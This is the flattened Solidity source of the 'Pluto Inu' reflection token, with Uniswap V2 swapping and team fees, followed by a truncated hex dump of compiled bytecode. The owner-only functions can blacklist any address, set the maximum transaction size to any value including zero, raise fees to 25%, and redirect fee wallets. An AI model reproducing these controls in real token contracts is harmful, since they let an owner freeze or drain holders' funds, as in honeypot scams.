https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Pluto is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 134340 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Pluto Inu '; string private constant _symbol = 'PLUTO'; uint8 private constant _decimals = 18; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _devWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 671 * 10**18; uint256 private constant _numOfTokensToExchangeForTeam = 7000 * 10**18; uint256 private _maxWalletSize = 1343 * 10**18; event botAddedToBlacklist(address account); event botRemovedFromBlacklist(address account); // event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); // event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable devWalletAddress, address payable marketingWalletAddress) public { _devWalletAddress = devWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function addBotToBlacklist (address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We cannot blacklist UniSwap router'); require (!_isBlackListedBot[account], 'Account is already blacklisted'); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlacklist(address account) external onlyOwner() { require (_isBlackListedBot[account], 'Account is not blacklisted'); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[sender], "You are blacklisted"); require(!_isBlackListedBot[msg.sender], "You are blacklisted"); require(!_isBlackListedBot[tx.origin], "You are blacklisted"); if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if(sender != owner() && recipient != owner() && recipient != uniswapV2Pair && recipient != address(0xdead)) { uint256 tokenBalanceRecipient = balanceOf(recipient); require(tokenBalanceRecipient + amount <= _maxWalletSize, "Recipient exceeds max wallet size."); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // Swap tokens for ETH and send to resepctive wallets swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _devWalletAddress.transfer(amount.div(5)); _marketingWalletAddress.transfer(amount.div(10).mul(8)); } function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _taxFee; } function _getTeamFee() public view returns (uint256) { return _teamFee; } function _getMaxTxAmount() public view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setDevWallet(address payable devWalletAddress) external onlyOwner() { _devWalletAddress = devWalletAddress; } function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() { _marketingWalletAddress = marketingWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function _setMaxWalletSize (uint256 maxWalletSize) external onlyOwner() { _maxWalletSize = maxWalletSize; } }
0x60806040526004361061026b5760003560e01c8063602bc62b11610144578063b030b34a116100b6578063f2cc0c181161007a578063f2cc0c18146108f2578063f2fde38b14610925578063f429389014610958578063f7a915911461096d578063f815a84214610982578063f84354f11461099757610272565b8063b030b34a14610810578063b425bac314610843578063cba0e99614610858578063dd62ed3e1461088b578063e01af92c146108c657610272565b806395d89b411161010857806395d89b411461070f5780639e6c752914610724578063a457c2d71461074e578063a5e8c95414610787578063a9059cbb1461079c578063af9549e0146107d557610272565b8063602bc62b146106885780636ddd17131461069d57806370a08231146106b2578063715018a6146106e55780638da5cb5b146106fa57610272565b80632d838119116101dd5780634144d9e4116101a15780634144d9e4146105ba5780634549b039146105cf57806349bd5a5e1461060157806351bc3c85146106165780635342acb41461062b5780635880b8731461065e57610272565b80632d838119146104ed5780632fbff03014610517578063313ce5671461052c57806339509351146105575780633bd5d1731461059057610272565b806318160ddd1161022f57806318160ddd146103db5780631bbae6e0146103f05780631d7ef8791461041a5780631ff53b601461044d57806323b872dd1461048057806328667162146104c357610272565b806306fdde0314610277578063095ea7b3146103015780630a1f8ea81461034e57806313114a9d146103835780631694505e146103aa57610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c6109ca565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102c65781810151838201526020016102ae565b50505050905090810190601f1680156102f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030d57600080fd5b5061033a6004803603604081101561032457600080fd5b506001600160a01b0381351690602001356109ee565b604080519115158252519081900360200190f35b34801561035a57600080fd5b506103816004803603602081101561037157600080fd5b50356001600160a01b0316610a0c565b005b34801561038f57600080fd5b50610398610a86565b60408051918252519081900360200190f35b3480156103b657600080fd5b506103bf610a8c565b604080516001600160a01b039092168252519081900360200190f35b3480156103e757600080fd5b50610398610ab0565b3480156103fc57600080fd5b506103816004803603602081101561041357600080fd5b5035610abe565b34801561042657600080fd5b506103816004803603602081101561043d57600080fd5b50356001600160a01b0316610b1b565b34801561045957600080fd5b506103816004803603602081101561047057600080fd5b50356001600160a01b0316610ca3565b34801561048c57600080fd5b5061033a600480360360608110156104a357600080fd5b506001600160a01b03813581169160208101359091169060400135610d1d565b3480156104cf57600080fd5b50610381600480360360208110156104e657600080fd5b5035610da4565b3480156104f957600080fd5b506103986004803603602081101561051057600080fd5b5035610e64565b34801561052357600080fd5b50610398610ec6565b34801561053857600080fd5b50610541610ecc565b6040805160ff9092168252519081900360200190f35b34801561056357600080fd5b5061033a6004803603604081101561057a57600080fd5b506001600160a01b038135169060200135610ed1565b34801561059c57600080fd5b50610381600480360360208110156105b357600080fd5b5035610f1f565b3480156105c657600080fd5b506103bf610ff9565b3480156105db57600080fd5b50610398600480360360408110156105f257600080fd5b50803590602001351515611008565b34801561060d57600080fd5b506103bf6110a2565b34801561062257600080fd5b506103816110c6565b34801561063757600080fd5b5061033a6004803603602081101561064e57600080fd5b50356001600160a01b0316611137565b34801561066a57600080fd5b506103816004803603602081101561068157600080fd5b5035611155565b34801561069457600080fd5b50610398611215565b3480156106a957600080fd5b5061033a61121b565b3480156106be57600080fd5b50610398600480360360208110156106d557600080fd5b50356001600160a01b031661122b565b3480156106f157600080fd5b5061038161128d565b34801561070657600080fd5b506103bf61132f565b34801561071b57600080fd5b5061028c61133e565b34801561073057600080fd5b506103816004803603602081101561074757600080fd5b503561135d565b34801561075a57600080fd5b5061033a6004803603604081101561077157600080fd5b506001600160a01b0381351690602001356113ba565b34801561079357600080fd5b50610398611422565b3480156107a857600080fd5b5061033a600480360360408110156107bf57600080fd5b506001600160a01b038135169060200135611428565b3480156107e157600080fd5b50610381600480360360408110156107f857600080fd5b506001600160a01b038135169060200135151561143c565b34801561081c57600080fd5b506103816004803603602081101561083357600080fd5b50356001600160a01b03166114bf565b34801561084f57600080fd5b506103bf611677565b34801561086457600080fd5b5061033a6004803603602081101561087b57600080fd5b50356001600160a01b0316611686565b34801561089757600080fd5b50610398600480360360408110156108ae57600080fd5b506001600160a01b03813581169160200135166116a4565b3480156108d257600080fd5b50610381600480360360208110156108e957600080fd5b503515156116cf565b3480156108fe57600080fd5b506103816004803603602081101561091557600080fd5b50356001600160a01b0316611745565b34801561093157600080fd5b506103816004803603602081101561094857600080fd5b50356001600160a01b0316611927565b34801561096457600080fd5b50610381611a1f565b34801561097957600080fd5b50610398611a81565b34801561098e57600080fd5b50610398611a87565b3480156109a357600080fd5b50610381600480360360208110156109ba57600080fd5b50356001600160a01b0316611a8b565b60408051808201909152600a815269028363aba379024b73a960b51b602082015290565b6000610a026109fb611c21565b8484611c25565b5060015b92915050565b610a14611c21565b6000546001600160a01b03908116911614610a64576040805162461bcd60e51b81526020600482018190526024820152600080516020612f56833981519152604482015290519081900360640190fd